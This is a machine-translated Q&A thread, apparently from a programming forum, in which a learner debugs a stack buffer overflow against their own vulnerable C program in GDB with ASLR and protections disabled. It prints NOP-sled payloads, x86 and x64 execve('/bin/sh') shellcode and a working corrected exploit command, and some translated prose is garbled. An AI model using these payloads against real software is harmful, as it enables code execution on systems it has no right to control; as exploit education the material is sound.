2016-07-16 19 views
3

我正在嘗試使用本教程執行緩衝區溢出攻擊 我的文章中的所有內容都將在GDB中直接執行。我想利用bufferoverflow,我做錯了什麼?

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

,這是在其予想利用緩衝區溢出的代碼。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int  main(int argc, char *argv[]) 
{ 
    char buff[256]; 

    if (argc == 1) 
    { 
     printf("Usage: %s input\n", argv[0]); 
     exit (0); 
    } 
    strcpy(buff, argv[1]); 
    printf("%s\n", buff); 
    return (1); 
} 

我目前在Linux mint 18上工作,我有一個處理器64位。 鑑於我有一個64位架構。每個地址都是8個字節。 現在讓我想象我目前的stakframe。


| buff [256] |


| RBP |


|保存RIP |


我的目標是用我的「nop sled」的地址覆蓋「SAVE RIP」。 鑑於我在64位架構。我將用256 + 8字符填充變量buff。 8字符將覆蓋RBP指針。我要用perl覆蓋。

perl -e 'print "\x90" x 264'

,然後使用的shellcode這是在教程提供我跟着

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

我減去26,因爲殼碼是長度的26

現在。我將使用GDB來了解我的nop雪橇的地址是什麼。

0x00000000004005f6 <+0>: push rbp 
    0x00000000004005f7 <+1>: mov rbp,rsp 
    0x00000000004005fa <+4>: sub rsp,0x110 
    0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi 
    0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi 
    0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1 
    0x0000000000400615 <+31>: jne 0x40063d <main+71> 
    0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110] 
    0x000000000040061e <+40>: mov rax,QWORD PTR [rax] 
    0x0000000000400621 <+43>: mov rsi,rax 
    0x0000000000400624 <+46>: mov edi,0x400704 
    0x0000000000400629 <+51>: mov eax,0x0 
    0x000000000040062e <+56>: call 0x4004c0 <[email protected]> 
    0x0000000000400633 <+61>: mov edi,0x0 
    0x0000000000400638 <+66>: call 0x4004e0 <[email protected]> 
    0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110] 
    0x0000000000400644 <+78>: add rax,0x8 
    0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax] 
    0x000000000040064b <+85>: lea rax,[rbp-0x100] 
    0x0000000000400652 <+92>: mov rsi,rdx 
    0x0000000000400655 <+95>: mov rdi,rax 
    0x0000000000400658 <+98>: call 0x4004a0 <[email protected]> 
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100] 
    0x0000000000400664 <+110>: mov rdi,rax 
    0x0000000000400667 <+113>: call 0x4004b0 <[email protected]> 
    0x000000000040066c <+118>: mov eax,0x1 
    0x0000000000400671 <+123>: leave 
    0x0000000000400672 <+124>: ret  

我在strcpy函數後添加了一個斷點。和我試圖找出雪橇的開頭NOP使用

x/x $rsp 

這讓我

0x7fffffffde20: 0xffffe018 

然後我會做

x/s 0x7fffffffde20 

,然後按'輸入'直到找到我要找的東西。

現在,來第二個問題。我發現這似乎包含NOP雪橇

0x7fffffffde30: '\220' <repeats 200 times>... 
(gdb) 
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀" 

0x7fffffffe32d: '\220' <repeats 200 times>... 
(gdb) 
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀" 

不知道該選擇哪一個兩個不同的地址,我決定嘗試他們兩個。不過,假設我使用第一個,更準確地說是0x7fffffffde30。 (沒有忘記帶車的車子)。

我會嘗試使用以下命令行來執行我的代碼:

(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'` 

然後我驗證,如果RIP正確的願望地址覆蓋。

(gdb) info frame 
Stack level 0, frame at 0x7fffffffdf30: 
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f 
source language c. 
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008 
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30 
Saved registers: 
    rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28 
(gdb) 

而且我們可以看到保存的RIP被希望地址成功覆蓋。 現在的主要問題是當我按下「繼續」我的程序段錯誤而沒有打開任何shell。我完全按照教程中的解釋,所以任何人都可以解釋我:

- 爲什麼segfault當我在緩衝區內寫入263字節?當我覆蓋「保存RIP」時,程序可以進行段錯誤,對於RBP,它是否一樣?

- 我發現了兩個不同的地址,其中包含我的諾福克雪橇,哪一個我可以選擇?

- 最後,根據你的說法,我做錯了什麼或者看起來不合邏輯?我不知道爲什麼我的漏洞利用工作,並沒有發現互聯網上沒有像我一樣的問題的其他人。

感謝

我使用這種方式

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc 
hacking.c -fno-stack-protector -g3 -z execstack 

編輯編譯:

謝謝你的評論。我做了你告訴我的,但它仍然是段錯誤。

你好@russtone。

謝謝你的回答,我做了你告訴我的,但它仍然是段錯誤。

` 
(gdb) x/300bx $rsp 
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 

===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 

0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57 
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69 
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08 
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05 
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 

我使用這個地址時不會忘記字節數。

「0x7fffffffdc80」

這給我

「\ X80 \ XDC \ XFF \ XFF \ XFF \ 0x7F部分」

所以在GDB最後的命令是

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'` 

然後

繼續

哪個顯示

繼續。 H1WW^ZH //斌/ shHWT_j; X

程序接收到的信號SIGSEGV,分段錯誤。 0x00007fffffffdd80在? ()

感謝

+0

你好@ S7_0可以顯示'strcpy'後'信息frame'的輸出? – russtone

+0

Hello @russtone ' 堆棧級別0,幀爲0x7fffffffdc90: rip = 0x40065d in main(hacking.c:15);保存rip = 0x7fffffffdc80 源語言c。 ARGLIST在0x7fffffffdc80,ARGS:ARGC = 2,ARGV = 0x7fffffffdd68在0x7fffffffdc80 當地人,上一幀的SP是0x7fffffffdc90 保存的寄存器:在0x7fffffffdc80 RBP,裂口在0x7fffffffdc88 ' –

+0

另一件需要注意的是,相當多的現代Linux發行版使用不可執行的堆棧。要看看你的'pmap $$'應該顯示你的shell的內存映射。如果你看到'00007ffd3bd6c000 132K rw --- [stack]'(注意rw,但不是x),那麼它默認使用不可執行的堆棧。 –

回答

5

爲什麼當我寫緩衝區內的263字節段錯誤?當我覆蓋「保存RIP」時,程序可以進行段錯誤,對於RBP,它是否一樣?

在您的示例中,如果程序嘗試訪問地址爲0x30deffffff7f的內存不屬於它,則會發生段錯誤。你想用0x7fffffffde30而不是0x30deffffff7f覆蓋RIP,但是你傳遞了錯誤的有效載荷。因爲你在你的有效載荷有little-endian架構,而不是:

... "\x7f\xff\xff\xff\xde\x30" 

你需要傳遞:

... "\x30\xde\xff\xff\xff\x7e" 

而且我不知道你的shellcode的地址是0x7fffffffde30因爲x/s $rsp是不是最好的方法知道它。這是更好地使用這樣的:

(gdb) x/300bx $rsp 
0x7fffffffd220: 0x18 0xd4 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffd228: 0xf6 0x77 0xde 0xf7 0x02 0x00 0x00 0x00 
0x7fffffffd230: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd238: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd240: 0x90 0x90 0x90 0x90 0x48 0x31 0xff 0x57 
0x7fffffffd248: 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 
0x7fffffffd250: 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 
0x7fffffffd258: 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 
0x7fffffffd260: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd268: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd270: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd278: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd280: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd288: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd290: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd298: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd338: 0x40 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffd340: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
0x7fffffffd348: 0x18 0xd4 0xff 0xff 

在上面的例子中shelcode被"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"和地址,也可以是像0x7fffffffd240

我發現了兩個不同的地址,其中包含我的諾普雪橇,哪一個我可以選擇?

你發現第一個地址是您的緩衝區char buff[256],第二個是argv[1]。類Unix系統把argv放在堆棧上,所以在你的例子中,選擇哪一個並不重要。但通常(對於任何操作系統),您需要使用地址char buff[256]

最後,根據你的說法,我做錯了什麼或者看起來不符合邏輯嗎?我不知道爲什麼我的漏洞利用工作,並沒有發現互聯網上沒有像我一樣的問題的其他人。

我上面已經提到的第一件事是endianness。你有小端機,所以你需要通過\x30\xde\xff\xff\xff\x7e而不是\x7f\xff\xff\xff\xde\x30

第二件事是你的shellcode。您正在使用x86程序的例子的shellcode,但您需要x64的shellcode。您可以使用這樣的事情:

SECTION .text 
global _start 
_start: 
    xor rdi, rdi 
    push rdi 
    push rdi 
    pop rsi 
    pop rdx 
    mov rdi, 0x68732f6e69622f2f ; hs/nib// 
    shr rdi, 8 ; \x00hs/nib/ 
    push rdi 
    push rsp 
    pop rdi 
    push 0x3b ; execve 
    pop rax 
    syscall 

其中在字節碼將是:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" 

希望這有助於。祝你好運!

UPDATE

好了,現在你覆寫rip並根據GDB的輸出你成功躍升至正確的地址。

現在的問題是您的shell代碼太接近緩衝區綁定。

因此你的圖片:

Stack layout

然後,在main函數結束命令之後

leave 
ret 

你躍升至addr_1rsp = addr_2 + 8leavemov rsp, rbp; pop rbp之後)。但在shell代碼的開始處,您可以看到其中$rsp = addr_2 + 8 - 16 = addr_2 - 8執行後的2 push指令。但是addr_2 - 8是你的shell代碼的最後8個字節!因此,你的shell代碼覆蓋自己,你會得到段錯誤。

爲了避免這種情況你可以把你的shell代碼的buf中間的某個地方:

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'` 
+0

謝謝你的回答,我編輯了我原來的帖子。 :) –

+0

這傢伙很好。 –

+0

你好@russtone,你能更精確地瞭解一下shell代碼覆蓋嗎?我不明白它爲什麼會覆蓋自己,因爲addr_2-8是我的shell代碼的最後8個字節。謝謝 :)) –